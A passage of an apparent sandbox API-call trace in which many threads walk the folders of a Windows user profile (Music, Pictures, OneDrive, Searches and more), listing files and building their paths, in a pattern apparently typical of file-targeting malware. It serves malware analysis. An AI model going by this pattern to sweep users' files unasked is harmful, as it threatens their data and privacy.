	[0079.349] FindNextFileW (in: hFindFile=0x2daceb8, lpFindFileData=0x2df9300 | out: lpFindFileData=0x2df9300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80dcbb0, ftCreationTime.dwHighDateTime=0x1d5d05d, ftLastAccessTime.dwLowDateTime=0xfb3627a0, ftLastAccessTime.dwHighDateTime=0x1d5d18a, ftLastWriteTime.dwLowDateTime=0xfb3627a0, ftLastWriteTime.dwHighDateTime=0x1d5d18a, nFileSizeHigh=0x0, nFileSizeLow=0x8acd, dwReserved0=0x0, dwReserved1=0x0, cFileName="F0 ab0Pm.wav", cAlternateFileName="F0AB0P~1.WAV")) returned 1
	[0079.349] wcscmp (_String1="F0 ab0Pm.wav", _String2=".") returned 1
	[0079.349] wcscmp (_String1="F0 ab0Pm.wav", _String2="..") returned 1
	[0079.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2dffd20
	[0079.349] wcscpy (in: _Dest=0x2dffd20, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music"
	[0079.349] wcscat (in: _Dest=0x2dffd20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\"
	[0079.349] wcscat (in: _Dest=0x2dffd20, _Source="F0 ab0Pm.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\F0 ab0Pm.wav") returned="C:\\Users\\FD1HVy\\Music\\F0 ab0Pm.wav"

Thread:
	id = 389
	os_tid = 0x153c

	[0076.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2dfb540
	[0076.932] wcscpy (in: _Dest=0x2dfb540, _Source="C:\\Users\\FD1HVy\\My Documents" | out: _Dest="C:\\Users\\FD1HVy\\My Documents") returned="C:\\Users\\FD1HVy\\My Documents"
	[0076.932] wcscat (in: _Dest=0x2dfb540, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\My Documents\\") returned="C:\\Users\\FD1HVy\\My Documents\\"
	[0076.932] wcscat (in: _Dest=0x2dfb540, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\My Documents\\*") returned="C:\\Users\\FD1HVy\\My Documents\\*"
	[0076.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9a38
	[0076.932] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\My Documents\\*", lpFindFileData=0x2df9a38 | out: lpFindFileData=0x2df9a38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9a38) returned 1
	[0077.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0077.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73ed0) returned 1

Thread:
	id = 390
	os_tid = 0x1540

	[0076.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dac978
	[0076.933] wcscpy (in: _Dest=0x2dac978, _Source="C:\\Users\\FD1HVy\\NetHood" | out: _Dest="C:\\Users\\FD1HVy\\NetHood") returned="C:\\Users\\FD1HVy\\NetHood"
	[0076.933] wcscat (in: _Dest=0x2dac978, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\NetHood\\") returned="C:\\Users\\FD1HVy\\NetHood\\"
	[0076.933] wcscat (in: _Dest=0x2dac978, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\NetHood\\*") returned="C:\\Users\\FD1HVy\\NetHood\\*"
	[0076.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9ca0
	[0076.933] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\NetHood\\*", lpFindFileData=0x2df9ca0 | out: lpFindFileData=0x2df9ca0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9ca0) returned 1
	[0077.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac978) returned 1
	[0077.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a070) returned 1

Thread:
	id = 391
	os_tid = 0x1544

	[0076.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dac9b8
	[0076.934] wcscpy (in: _Dest=0x2dac9b8, _Source="C:\\Users\\FD1HVy\\OneDrive" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive") returned="C:\\Users\\FD1HVy\\OneDrive"
	[0076.934] wcscat (in: _Dest=0x2dac9b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive\\") returned="C:\\Users\\FD1HVy\\OneDrive\\"
	[0076.934] wcscat (in: _Dest=0x2dac9b8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive\\*") returned="C:\\Users\\FD1HVy\\OneDrive\\*"
	[0076.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9f08
	[0076.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac878
	[0079.353] wcscmp (_String1=".", _String2=".") returned 0
	[0079.353] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.353] wcscmp (_String1="..", _String2=".") returned 1
	[0079.353] wcscmp (_String1="..", _String2="..") returned 0
	[0079.353] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.353] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0079.353] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0079.353] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0079.353] FindClose (in: hFindFile=0x2dac878 | out: hFindFile=0x2dac878) returned 1
	[0079.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9f08) returned 1
	[0079.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac9b8) returned 1
	[0079.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70b40) returned 1

Thread:
	id = 392
	os_tid = 0x1548

	[0076.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dac9f8
	[0076.934] wcscpy (in: _Dest=0x2dac9f8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures"
	[0076.934] wcscat (in: _Dest=0x2dac9f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\"
	[0076.934] wcscat (in: _Dest=0x2dac9f8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\*") returned="C:\\Users\\FD1HVy\\Pictures\\*"
	[0076.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dfa3d8
	[0076.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x2dfa3d8 | out: lpFindFileData=0x2dfa3d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e940c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e940c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac878
	[0079.354] wcscmp (_String1=".", _String2=".") returned 0
	[0079.354] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2dfa3d8 | out: lpFindFileData=0x2dfa3d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e940c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e940c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.354] wcscmp (_String1="..", _String2=".") returned 1
	[0079.354] wcscmp (_String1="..", _String2="..") returned 0
	[0079.354] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2dfa3d8 | out: lpFindFileData=0x2dfa3d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b03260, ftCreationTime.dwHighDateTime=0x1d5d59c, ftLastAccessTime.dwLowDateTime=0x4003f530, ftLastAccessTime.dwHighDateTime=0x1d5c8d8, ftLastWriteTime.dwLowDateTime=0x4003f530, ftLastWriteTime.dwHighDateTime=0x1d5c8d8, nFileSizeHigh=0x0, nFileSizeLow=0x18c83, dwReserved0=0x0, dwReserved1=0x0, cFileName="-Iwd5.gif", cAlternateFileName="")) returned 1
	[0079.354] wcscmp (_String1="-Iwd5.gif", _String2=".") returned -1
	[0079.354] wcscmp (_String1="-Iwd5.gif", _String2="..") returned -1
	[0079.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2dffcd0
	[0079.354] wcscpy (in: _Dest=0x2dffcd0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures"
	[0079.354] wcscat (in: _Dest=0x2dffcd0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\"
	[0079.354] wcscat (in: _Dest=0x2dffcd0, _Source="-Iwd5.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\-Iwd5.gif") returned="C:\\Users\\FD1HVy\\Pictures\\-Iwd5.gif"

Thread:
	id = 393
	os_tid = 0x154c

	[0076.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2daca38
	[0076.935] wcscpy (in: _Dest=0x2daca38, _Source="C:\\Users\\FD1HVy\\PrintHood" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood") returned="C:\\Users\\FD1HVy\\PrintHood"
	[0076.935] wcscat (in: _Dest=0x2daca38, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood\\") returned="C:\\Users\\FD1HVy\\PrintHood\\"
	[0076.935] wcscat (in: _Dest=0x2daca38, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood\\*") returned="C:\\Users\\FD1HVy\\PrintHood\\*"
	[0076.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0076.935] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\PrintHood\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0077.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daca38) returned 1
	[0077.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70780) returned 1

Thread:
	id = 394
	os_tid = 0x1550

	[0076.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2daca78
	[0076.936] wcscpy (in: _Dest=0x2daca78, _Source="C:\\Users\\FD1HVy\\Recent" | out: _Dest="C:\\Users\\FD1HVy\\Recent") returned="C:\\Users\\FD1HVy\\Recent"
	[0076.936] wcscat (in: _Dest=0x2daca78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Recent\\") returned="C:\\Users\\FD1HVy\\Recent\\"
	[0076.936] wcscat (in: _Dest=0x2daca78, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Recent\\*") returned="C:\\Users\\FD1HVy\\Recent\\*"
	[0076.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df6a18
	[0076.936] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Recent\\*", lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6a18) returned 1
	[0077.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daca78) returned 1
	[0077.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a2a0) returned 1

Thread:
	id = 395
	os_tid = 0x1554

	[0076.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2dfb0c0
	[0076.937] wcscpy (in: _Dest=0x2dfb0c0, _Source="C:\\Users\\FD1HVy\\Saved Games" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games") returned="C:\\Users\\FD1HVy\\Saved Games"
	[0076.937] wcscat (in: _Dest=0x2dfb0c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games\\") returned="C:\\Users\\FD1HVy\\Saved Games\\"
	[0076.937] wcscat (in: _Dest=0x2dfb0c0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games\\*") returned="C:\\Users\\FD1HVy\\Saved Games\\*"
	[0076.937] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df6c80
	[0076.937] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x2df6c80 | out: lpFindFileData=0x2df6c80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9e8
	[0084.358] wcscmp (_String1=".", _String2=".") returned 0
	[0084.358] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df6c80 | out: lpFindFileData=0x2df6c80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.358] wcscmp (_String1="..", _String2=".") returned 1
	[0084.358] wcscmp (_String1="..", _String2="..") returned 0
	[0084.358] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df6c80 | out: lpFindFileData=0x2df6c80*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.358] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0084.358] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0084.358] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df6c80 | out: lpFindFileData=0x2df6c80*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0084.358] FindClose (in: hFindFile=0x477a9e8 | out: hFindFile=0x477a9e8) returned 1
	[0084.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6c80) returned 1
	[0084.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0084.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70cc0) returned 1

Thread:
	id = 396
	os_tid = 0x1558

	[0076.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacab8
	[0076.938] wcscpy (in: _Dest=0x2dacab8, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches"
	[0076.938] wcscat (in: _Dest=0x2dacab8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\"
	[0076.938] wcscat (in: _Dest=0x2dacab8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\*") returned="C:\\Users\\FD1HVy\\Searches\\*"
	[0076.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df6ee8
	[0076.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x2df6ee8 | out: lpFindFileData=0x2df6ee8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac9b8
	[0079.355] wcscmp (_String1=".", _String2=".") returned 0
	[0079.355] FindNextFileW (in: hFindFile=0x2dac9b8, lpFindFileData=0x2df6ee8 | out: lpFindFileData=0x2df6ee8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.355] wcscmp (_String1="..", _String2=".") returned 1
	[0079.355] wcscmp (_String1="..", _String2="..") returned 0
	[0079.355] FindNextFileW (in: hFindFile=0x2dac9b8, lpFindFileData=0x2df6ee8 | out: lpFindFileData=0x2df6ee8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.355] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0079.355] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0079.355] FindNextFileW (in: hFindFile=0x2dac9b8, lpFindFileData=0x2df6ee8 | out: lpFindFileData=0x2df6ee8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x44269063, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0079.355] wcscmp (_String1="Everywhere.search-ms", _String2=".") returned 1
	[0079.355] wcscmp (_String1="Everywhere.search-ms", _String2="..") returned 1
	[0079.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780b20
	[0079.355] wcscpy (in: _Dest=0x4780b20, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches"
	[0079.355] wcscat (in: _Dest=0x4780b20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\"
	[0079.355] wcscat (in: _Dest=0x4780b20, _Source="Everywhere.search-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms"

Thread:
	id = 397
	os_tid = 0x155c

	[0076.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dacaf8
	[0076.938] wcscpy (in: _Dest=0x2dacaf8, _Source="C:\\Users\\FD1HVy\\SendTo" | out: _Dest="C:\\Users\\FD1HVy\\SendTo") returned="C:\\Users\\FD1HVy\\SendTo"
	[0076.938] wcscat (in: _Dest=0x2dacaf8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\SendTo\\") returned="C:\\Users\\FD1HVy\\SendTo\\"
	[0076.939] wcscat (in: _Dest=0x2dacaf8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\SendTo\\*") returned="C:\\Users\\FD1HVy\\SendTo\\*"
	[0076.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7150
	[0076.939] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\SendTo\\*", lpFindFileData=0x2df7150 | out: lpFindFileData=0x2df7150*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df7150) returned 1
	[0077.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacaf8) returned 1
	[0077.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a0e0) returned 1

Thread:
	id = 398
	os_tid = 0x1560

	[0076.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfb198
	[0076.940] wcscpy (in: _Dest=0x2dfb198, _Source="C:\\Users\\FD1HVy\\Start Menu" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu") returned="C:\\Users\\FD1HVy\\Start Menu"
	[0076.940] wcscat (in: _Dest=0x2dfb198, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu\\") returned="C:\\Users\\FD1HVy\\Start Menu\\"
	[0076.940] wcscat (in: _Dest=0x2dfb198, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu\\*") returned="C:\\Users\\FD1HVy\\Start Menu\\*"
	[0076.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df73b8
	[0076.941] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Start Menu\\*", lpFindFileData=0x2df73b8 | out: lpFindFileData=0x2df73b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df73b8) returned 1
	[0079.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0079.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70bc0) returned 1

Thread:
	id = 399
	os_tid = 0x1564

	[0076.941] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e00130
	[0076.941] wcscpy (in: _Dest=0x2e00130, _Source="C:\\Users\\Default.migrated\\AppData" | out: _Dest="C:\\Users\\Default.migrated\\AppData") returned="C:\\Users\\Default.migrated\\AppData"
